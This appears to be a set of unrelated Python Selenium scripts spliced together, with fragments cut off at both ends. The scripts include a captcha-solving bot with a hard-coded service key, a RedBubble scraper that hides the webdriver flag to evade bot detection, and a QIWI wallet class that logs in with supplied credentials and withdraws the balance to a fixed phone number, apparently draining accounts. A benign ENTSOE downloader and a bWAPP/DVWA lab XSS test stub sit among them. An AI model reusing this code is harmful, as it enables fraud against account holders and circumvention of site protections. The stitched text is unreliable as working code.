)
def get_captcha():
element = driver.find_element_by_id(
"imgCaptcha") # element name containing the catcha image
location = element.location
size = element.size
driver.save_screenshot("temp.png")
x = location['x']
y = location['y']
w = size['width']
h = size['height']
width = x + w
height = y + h
im = Image.open('temp.png')
im = im.crop((int(x), int(y), int(width), int(height)))
im.save(captcha_fn)
get_captcha()
captcha = CaptchaUpload("hvxrw69kkdcpfzjt38jtm2bxyzr7ypvn")
captcha_resolved = captcha.solve(captcha_fn)
driver.find_element_by_id("captcha").send_keys(captcha_resolved)
driver.find_element_by_xpath(
'//*[@id="container_captcha"]/fieldset/table/tbody/tr[2]/td[2]/input'
).click()
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.action_chains import ActionChains
import time
import os
import subprocess
import clipboard
GMF_BAND_ID = 79162159
JBS_BAND_ID = 79463189
browser = Firefox()
browser.get('https://auth.band.us/email_login')
browser.implicitly_wait(10)
textBox = browser.find_element_by_xpath('//*[@id="email_login_form"]')
textBox.find_element_by_id('input_email').send_keys('', Keys.RETURN)
time.sleep(2.5)
browser.find_element_by_id('pw').send_keys('', Keys.RETURN)
time.sleep(5)
browser.get('https://band.us/band/{}/create-live'.format(JBS_BAND_ID))
time.sleep(5)
browser.find_element_by_xpath(
'/html/body/div[1]/section/div/div[1]/div/div[2]/button[1]').click()
browser.find_element_by_xpath(
class RedBubble:
def __init__(self):
self.options = Options()
self.options.set_preference("intl.accept_languages", 'en-us')
self.options.set_preference('useAutomationExtension', False)
self.options.set_preference('dom.webdriver.enabled', False)
self.driver = Firefox(options=self.options)
self.driver.execute_script(
"Object.defineProperty(navigator, 'webdriver', {get: () => undefined})"
)
self.driver.get("https://amiunique.org/fp")
time.sleep(5)
self.driver.get("https://antcpt.com/score_detector/")
time.sleep(5)
def get_to(self, url):
if self.driver.current_url != url:
self.driver.get(url)
def download_image(self, file_name, image_url):
if "x1000" in image_url:
big_image_url = image_url.replace("1000x1000", "2000x2000")
big_image_url = big_image_url.replace("750x1000", "1500x2000")
big_image_url = big_image_url.replace("1000", "2000")
big_image_url = big_image_url.replace("750", "1500")
if self.download_image(file_name, big_image_url):
print(f"Gotten bigger image for {file_name} @ {big_image_url}")
return True
try:
res = self.driver.request('GET', image_url)
except requests.exceptions.ConnectionError:
time.sleep(60)
res = self.driver.request('GET', image_url)
if 200 <= res.status_code < 300:
im = Image.open(io.BytesIO(res.content))
width, height = im.size
# Add watermark
if max(width, height) >= 2000:
font = ImageFont.truetype('Arial.ttf', 72)
else:
font = ImageFont.truetype('Arial.ttf', 36)
draw = ImageDraw.Draw(im)
text = "DuckHunt.me"
fill_color = (128, 0, 0)
textwidth, textheight = draw.textsize(text, font)
margin = 30
x = width - textwidth - margin
y = height - textheight - margin
try:
draw.text((x, y), text, font=font, fill=fill_color)
except TypeError:
draw.text((x, y), text, font=font, fill=128)
# Write to file
im.save(file_name)
return True
else:
print(f"Download of {file_name} (@{image_url}) FAILED.")
return False
def clean_html(self, html_string):
tree = html.fromstring(html_string)
cleaner = html.clean.Cleaner()
cleaner.safe_attrs_only = True
cleaner.safe_attrs = frozenset(['id'])
cleaned = cleaner.clean_html(tree)
return html.tostring(cleaned, encoding='unicode')
def dismiss_cookie_popup(self):
self.dismiss_member_prompt()
try:
self.driver.find_element_by_class_name(
"Toastify__toast-body").find_element_by_tag_name(
"button").click()
return True
except (NoSuchElementException, ElementClickInterceptedException):
return False
def dismiss_member_prompt(self):
try:
self.driver.find_element_by_class_name(
"sailthru-overlay-close").click()
return True
except NoSuchElementException:
return False
def login(self):
self.driver.get("https://www.redbubble.com/en/auth/login")
username = self.driver.find_element_by_xpath(
'//*[@id="ReduxFormInput1"]')
username.send_keys(USERNAME)
password = self.driver.find_element_by_xpath(
'//*[@id="ReduxFormInput2"]')
password.send_keys(PASSWORD)
connect = self.driver.find_element_by_xpath(
'/html/body/div[1]/div[7]/div[2]/div[2]/div/form/span/button')
prev_url = self.driver.current_url
connect.click()
time.sleep(5)
while prev_url == self.driver.current_url:
print("Please solve captcha")
time.sleep(1)
def change_locale(self):
self.get_to("https://www.redbubble.com/settings/show")
locale_dropdown = Select(
self.driver.find_element_by_xpath('//*[@id="settings_locale"]'))
locale_dropdown.select_by_visible_text("English")
country_code_dropdown = Select(
self.driver.find_element_by_xpath(
'//*[@id="settings_country_code"]'))
country_code_dropdown.select_by_value("US")
currency_dropdown = Select(
self.driver.find_element_by_xpath(
'//*[@id="settings_currency_iso"]'))
currency_dropdown.select_by_value("USD")
try:
button = self.driver.find_element_by_xpath(
'/html/body/div/form/div[4]/input')
except NoSuchElementException:
button = self.driver.find_element_by_xpath(
'/html/body/div[1]/div[6]/div[2]/form/div[4]/button')
button.click()
def get_works_urls(self):
self.get_to("https://www.redbubble.com/en/portfolio/manage_works")
self.dismiss_cookie_popup()
works = []
links = self.driver.find_elements_by_class_name(
'works_work-menu-option')
for a in links:
if a.tag_name != 'a':
continue
href = a.get_attribute('href')
if href.startswith(
"https://www.redbubble.com/people/duckhuntdiscord/works"):
works.append(href)
random.shuffle(works)
return works
def get_work_products_urls(self, work_url):
self.get_to(work_url)
products_urls = []
links = self.driver.find_elements_by_class_name('carousel_item-link')
for a in links:
if a.tag_name != 'a':
continue
href = a.get_attribute('href')
if href.startswith("https://www.redbubble.com/i/"):
products_urls.append(href)
random.shuffle(products_urls)
return products_urls
def get_work_info(self, work_url):
self.get_to(work_url)
return {
"name":
self.driver.find_element_by_class_name(
'work-information_title').text,
"url":
urljoin(work_url,
urlparse(work_url).path)
}
def _get_colorswatch(self):
try:
colors_button = self.driver.find_element_by_css_selector(
"[class^='ColorPickerActivator__colorPickerActivator--']")
except NoSuchElementException:
colors_button = None
if colors_button:
colors_button.click()
try:
colors_swatch = self.driver.find_elements_by_css_selector(
"[class^='DesktopColorControls__swatch--']")
except NoSuchElementException:
colors_swatch = [None]
if len(colors_swatch) == 0:
colors_swatch = [None]
return colors_swatch
def _get_print_locations(self):
print_locations = self.driver.find_elements_by_name("printLocation")
if not print_locations:
print_locations = [None]
return print_locations
def _get_sizes(self):
sizes = self.driver.find_elements_by_name("size")
if not sizes:
sizes = [None]
return sizes
def download_product_information(self, product_url, work_info):
self.get_to(product_url)
self.dismiss_cookie_popup()
varients = []
product_name = self.driver.find_element_by_tag_name('h1').text
print(f"Downloading {product_name}...")
download_to = DOWNLOAD_DIR / work_info["name"] / product_name
download_to.mkdir(exist_ok=True, parents=True)
if (download_to / "download.json").exists():
print("Skipping : already downloaded")
return
colors = len(self._get_colorswatch())
print(f"Found {colors} colors_swatch.")
for color_n in range(colors):
color_element = self._get_colorswatch()[color_n]
if color_element is None:
color_product_name = None
else:
color_product_name = color_element.get_attribute('title')
color_element.click()
self.dismiss_cookie_popup()
print_locations_count = len(self._get_print_locations())
print(f"Found {print_locations_count} print locations.")
for print_location_n in range(print_locations_count):
print_location_element = self._get_print_locations(
)[print_location_n]
if print_location_element is None:
print_location_text = None
else:
label = print_location_element.find_element_by_xpath('..')
print_location_text = label.text
label.click()
self.dismiss_cookie_popup()
sizes = self._get_sizes()
sizes_names = []
for size_element in sizes:
if size_element is None:
continue
else:
label = size_element.find_element_by_xpath('..')
size_name = label.text
sizes_names.append(size_name)
time.sleep(1) # Time for images to load
images = self.driver.find_elements_by_tag_name('img')
images_downloaded = 0
images_files = []
for img in images:
src = img.get_attribute('src')
klass = img.get_attribute('class')
if src.startswith("https://ih1.redbubble.net/image"
) and "GalleryImage__img--" in klass:
main = "PreviewGallery__rightColumn--" in img.find_element_by_xpath(
'..').find_element_by_xpath(
'..').find_element_by_xpath(
'..').get_attribute('class')
img_folder = download_to / f"{color_product_name} - {print_location_text}"
img_folder.mkdir(parents=True, exist_ok=True)
image_name = img_folder / f"{images_downloaded}.jpg"
dld = self.download_image(file_name=image_name,
image_url=src)
if dld:
images_downloaded += 1
images_files.append({
"link": str(image_name),
"main": main
})
price = ''
config_div = self.driver.find_element_by_tag_name(
'h1').find_element_by_xpath('..')
prices_maybe = config_div.find_elements_by_tag_name('span')
for price_maybe in prices_maybe:
try:
price = price_maybe.find_element_by_tag_name(
'span').text
break
except NoSuchElementException:
continue
varient = {
"color_product_name": color_product_name,
"print_location_text": print_location_text,
"sizes_names": sizes_names,
"images_count": images_downloaded,
"images": images_files,
"price": price,
"url": self.driver.current_url,
}
print(varient)
varients.append(varient)
try:
features = self.driver.find_element_by_xpath("//*[contains(text(), 'Features')]")\
.find_element_by_xpath('..')\
.find_element_by_tag_name('ul')\
.get_attribute('outerHTML')
except NoSuchElementException:
features = self.driver.find_element_by_xpath("//*[contains(text(), 'Features')]") \
.find_element_by_xpath('..') \
.find_element_by_xpath('..') \
.find_element_by_tag_name('ul') \
.get_attribute('outerHTML')
with open(download_to / "download.json", "w") as f:
json.dump(
{
"varients": varients,
"features_html": self.clean_html(features),
"work": work_info,
},
f,
sort_keys=True)
def main(self):
self.login()
self.change_locale()
works_urls = self.get_works_urls()
print(f"Discovered {len(works_urls)} works")
for work_url in works_urls:
work_info = self.get_work_info(work_url)
# if (DOWNLOAD_DIR / work_info["name"]).exists():
# print(f"Skipping {work_info['name']} because it was already downloaded.")
# continue
product_urls = self.get_work_products_urls(work_url)
for product_url in product_urls:
ok = False
while not ok:
try:
self.download_product_information(
product_url, work_info)
ok = True
except (StaleElementReferenceException,
ElementNotInteractableException,
NoSuchElementException) as e:
print(f"That failed {e}, retrying...")
self.driver.quit()
class EntsoeDownloader:
"""
A class used to automatically scrap CSV files from ENTSOE Transparecny Platform
...
Attributes
----------
__username : str
a string representing username of an existing ENTSOE account
__password : str
a string representing password of an existing ENTSOE account
__login_url : str
the homepage link of ENTSOE
__download_dir : str
the folder path where CSV files are stored
date: str
string representing today's date
__day_ahead_price_url: None
the download url for scraping day ahead prices
__generation_per_product_url: None
the download url for scraping electricity generation per products
__actual_total_load_url: None
the donwload url for scraping actual loads
__generation_forecasted_url
the download url for scraping the generation forecasted
driver: None
contains the selenium chrome driver class
Methods
-------
check_download(i=0)
Checks whether the CSV file is downloaded within a certain time-period else it terminates
setup(headless=False, date_input=None)
Initializes the chrome webdriver for scraping
set_download_url()
Initializes the download urls
login_and_download()
Interacts with the firefox browser and executes a sequence of tasks for scraping
"""
def __init__(self, last_date_fetched, username="", password=""):
last_date_fetched = datetime.strptime(last_date_fetched,
"%Y-%m-%d %H:%M:%S")
new_date = last_date_fetched.date()
new_date += timedelta(days=1)
self.__username = username
self.__password = password
self.__login_url = "https://transparency.entsoe.eu/homepageLogin"
self.__download_dir = os.path.join(os.getcwd(), "download")
# choose another date if the last hour of fetched data is 23:00:00
self.date = last_date_fetched.date(
) if last_date_fetched.time().hour != 23 else new_date
self.__day_ahead_price_url = None
self.__generation_per_product_url = None
self.__actual_total_load_url = None
self.__generation_forecasted_url = None
self.driver = None
@staticmethod
def check_download(i=0):
"""
Checks first whether files have been downloaded within a 20 second time interval
Parameters
-------------
i:
File counter, to check how many files have been downloaded
"""
time_to_wait = 150
time_counter = 0
# Validate whether file has been downloaded
while True:
if time_counter > time_to_wait:
raise FileNotFoundError(
"Necessary files not found in directory (20 seconds timeout reached)!"
)
# List all the files in the : 'current_working_dir'/download
file_names = os.listdir(os.getcwd() + "/download")
if len(file_names) == i:
return True
time.sleep(1)
time_counter += 1
def setup(self, headless=False, date_input=None):
# Validate date variable
if date_input is not None:
self.date = datetime.strptime(date_input, "%d.%m.%Y").date()
# Create directory if fetched folder is not available
if not os.path.exists(self.__download_dir):
os.mkdir(self.__download_dir)
# Set headless option and firefox profile
options = Options()
options.headless = headless
fp = webdriver.FirefoxProfile()
fp.set_preference("browser.download.folderList", 2)
fp.set_preference("browser.download.manager.showWhenStarting", False)
fp.set_preference("browser.download.dir", self.__download_dir)
fp.set_preference(
"browser.helperApps.neverAsk.saveToDisk",
"text/plain, application/vnd.ms-excel, text/csv, text/comma-separated-values, "
"application/octet-stream")
# Initialize Firefox() object to navigate
self.driver = Firefox(firefox_profile=fp, options=options)
return self
def set_download_url(self):
"""
Sets class url attributes if date is given
"""
if self.date is None:
raise ValueError("Attribute 'date' needs to be defined")
self.__day_ahead_price_url = "https://transparency.entsoe.eu/transmission-domain/r2/dayAheadPrices/export?" \
"name=&defaultValue=false&viewType=TABLE&areaType=BZN&atch=false&dateTime.dateTime=" + self.date.strftime(
"%d.%m.%Y") + "+00%3A00%7CCET%7CDAY&biddingZone.values=CTY%7C10Y1001A1001A83F!BZN%7C10Y1001A1001A82H&dateTime.timezone=CET_CEST&dateTime" \
".timezone_input=CET+(UTC%2B1)+%2F+CEST+(UTC%2B2)&dataItem=ALL&timeRange=YEAR&exportType=CSV"
self.__generation_per_product_url = "https://transparency.entsoe.eu/generation/r2/actualGenerationPerProductionType/export?" \
"name=&defaultValue=false&viewType=TABLE&areaType=BZN&atch=false&datepicker-day-offset-select-dv-date-from_input=D&dateTime.dateTime="+self.date.strftime(
"%d.%m.%Y")+"+00%3A00%7CCET%7CDAYTIMERANGE&dateTime.endDateTime="+self.date.strftime(
"%d.%m.%Y")+"+00%3A00%7CCET%7CDAYTIMERANGE&area.values=CTY%7C10Y1001A1001A83F!BZN%7C10Y1001A1001A82H&productionType.values=B01&productionType." \
"values=B02&productionType.values=B03&productionType.values=B04&productionType.values=B05&productionType.values=B06&productionType." \
"values=B07&productionType.values=B08&productionType.values=B09&productionType.values=B10&productionType.values=B11&productionType." \
"values=B12&productionType.values=B13&productionType.values=B14&productionType.values=B20&productionType.values=B15&productionType." \
"values=B16&productionType.values=B17&productionType.values=B18&productionType.values=B19&dateTime.timezone=CET_CEST&dateTime." \
"timezone_input=CET+(UTC%2B1)+%2F+CEST+(UTC%2B2)&dataItem=ALL&timeRange=YEAR&exportType=CSV"
self.__actual_total_load_url = "https://transparency.entsoe.eu/load-domain/r2/totalLoadR2/export?name=&defaultValue=false&viewType=TABLE&areaType=BZN&atch=false&dateTime" \
".dateTime="+self.date.strftime(
"%d.%m.%Y")+"+00%3A00%7CCET%7CDAY&biddingZone.values=CTY%7C10Y1001A1001A83F!BZN%7C10Y1001A1001A82H&dateTime.timezone=CET_CEST&dateTime" \
".timezone_input=CET+(UTC%2B1)+%2F+CEST+(UTC%2B2)&dataItem=ALL&timeRange=YEAR&exportType=CSV"
self.__generation_forecasted_url = "https://transparency.entsoe.eu/generation/r2/dayAheadGenerationForecastWindAndSolar/export?" \
"name=&defaultValue=false&viewType=TABLE&areaType=BZN&atch=false&dateTime.dateTime="+self.date.strftime(
"%d.%m.%Y") +"+00%3A00%7CCET%7CDAYTIMERANGE&dateTime" \
".endDateTime="+ self.date.strftime(
"%d.%m.%Y") + "+00%3A00%7CCET%7CDAYTIMERANGE&area.values=CTY%7C10Y1001A1001A83F!BZN%7C10Y1001A1001A82H&productionType" \
".values=B16&productionType.values=B18&productionType.values=B19&processType.values=A18&processType.values=A01&processType" \
".values=A40&dateTime.timezone=CET_CEST&dateTime.timezone_input=CET+(UTC%2B1)+%2F+CEST+(UTC%2B2)&dataItem=ALL&timeRange=YEAR&exportType=CSV"
def login_and_download(self):
"""
Executes a sequence of tasks to log into ENTSOE and downloads the specified files
"""
if self.__username == "" or self.__password == "":
raise ValueError(
"Pleaser set the credentials for ENTSOE to download")
# Remove "download" directory to and create new one
if len(os.listdir(os.getcwd() + "/download")) > 0:
shutil.rmtree(self.__download_dir)
os.mkdir(self.__download_dir)
# Instantiate the download urls and request the browser for the homepage login url
self.set_download_url()
self.driver.get(self.__login_url)
# Find login form elements and insert ENTSOE account credentials
self.driver.find_element_by_id("email").send_keys(self.__username)
self.driver.find_element_by_id("password").send_keys(self.__password)
# Trigger click event to sign in
self.driver.find_element_by_xpath(
"//div[@class='submit-line']/div/input").click()
# Wait until login is completed and the "user-panel-drop-down" element is agreed
WebDriverWait(self.driver, 10).until(
EC.presence_of_element_located((By.ID, "close-button")))
# Agree to the terms and conditions
loader_div = self.driver.find_element_by_xpath("//*[@id='loading']")
self.driver.execute_script(
"arguments[0].setAttribute('style','visibility:hidden;');",
loader_div)
self.driver.find_element_by_id("close-button").click()
# Open download url in new tab
urls = [
self.__generation_per_product_url, self.__day_ahead_price_url,
self.__actual_total_load_url, self.__generation_forecasted_url
]
for url, index in zip(urls, range(len(urls))):
if self.check_download(index):
print("Opening url: ",
re.search("/r2/(.*)/export", url).group(1))
self.driver.execute_script("window.open('" + url + "');")
# Download CSV file and exit the browser
time_counter = 0
time_to_wait = 150 # the last CSV file which is the one holding forecast information on solar, wind and total
# takes at least 40 seconds to download
while len(os.listdir(os.path.join(os.getcwd(), "download"))) is not 4:
if time_counter > time_to_wait:
raise FileNotFoundError(
"Necessary files not found in directory"
" (150 seconds timeout reached)!")
time.sleep(1)
time_counter += 1
self.driver.quit()
class QIWI:
def __init__(self, login, password):
self.url = 'https://qiwi.com/'
self.login = login
self.password = password
self.driver = Firefox()
def sign_in(self):
self.driver.get(self.url)
sleep(random.uniform(4, 6))
self.driver.find_element_by_xpath(
"//*[contains(text(), 'Войти')]").click()
sleep(random.uniform(2, 4))
self.driver.find_element_by_xpath('//input[@value="+7"]').clear()
sleep(random.uniform(2, 4))
self.driver.find_element_by_xpath('//input[@value=""]').send_keys(
self.login)
sleep(random.uniform(2, 4))
self.driver.find_element_by_xpath(
'/html/body/div[2]/div[2]/div/div[2]/form/div[2]/div[2]/div/div[2]/input'
).send_keys(self.password)
sleep(random.uniform(2, 4))
self.driver.find_element_by_xpath(
'/html/body/div[2]/div[2]/div/div[2]/form/div[2]/div[3]/div/div/button'
).click()
sleep(random.uniform(10, 12))
def get_balance(self):
money1 = self.driver.find_elements(By.XPATH, '//div')[1].text
money = money1.split('\n')
f = money[7][:-2]
moneneys = f.split(',')
return int(moneneys[0])
def withdraw(self, balance):
self.driver.get(
self.url +
"payment/form/99999?extra['accountType']=phone&extra['account']=380684071125"
)
sleep(random.uniform(10, 12))
commision = float(balance / 100)
print('Коммисия: -{}'.format(commision))
self.driver.find_elements_by_xpath('//input[@value=""]')[1].send_keys(
balance - commision)
def index(self):
print('Вхід...\nНомер - {}Пароль:{}'.format(self.login, self.password))
self.sign_in()
try:
if self.get_balance() > 5:
print('Баланс: {}'.format(self.get_balance()))
sleep(random.uniform(3, 6))
self.withdraw(self.get_balance())
else:
print('На балансі 0')
self.driver.quit()
return -1
except:
print('Помилка акк')
driver = Firefox()
driver.set_window_size(1000,500)
# uncomment to reparse args
# my_opt()
# args-url location
# driver.get(my_opt.URL)
#Testing Delete later
#Testing Auth____ Comment IN TO autologin Bwap
driver.get("http://192.168.127.144/bWAPP/login.php")
select = Select(driver.find_element_by_name('security_level'))
select.select_by_visible_text("medium")
username = driver.find_element_by_id("login")
password = driver.find_element_by_name("password")
submit = driver.find_element_by_xpath("//button[@type='submit']")
username.send_keys("bee")
password.send_keys("bug"),
# click on the submit button
submit.click()
#BWAPP TEST Start
# XXS GET TEST
driver.get("http://192.168.127.144/bWAPP/xss_get.php?")
# Testing Auth____ Comment IN TO autologin DVWA
driver.request('GET',"http://192.168.127.178/dvwa/login.php")
username = driver.find_element_by_name("username")
password = driver.find_element_by_name("password")
submit = driver.find_element_by_name("Login")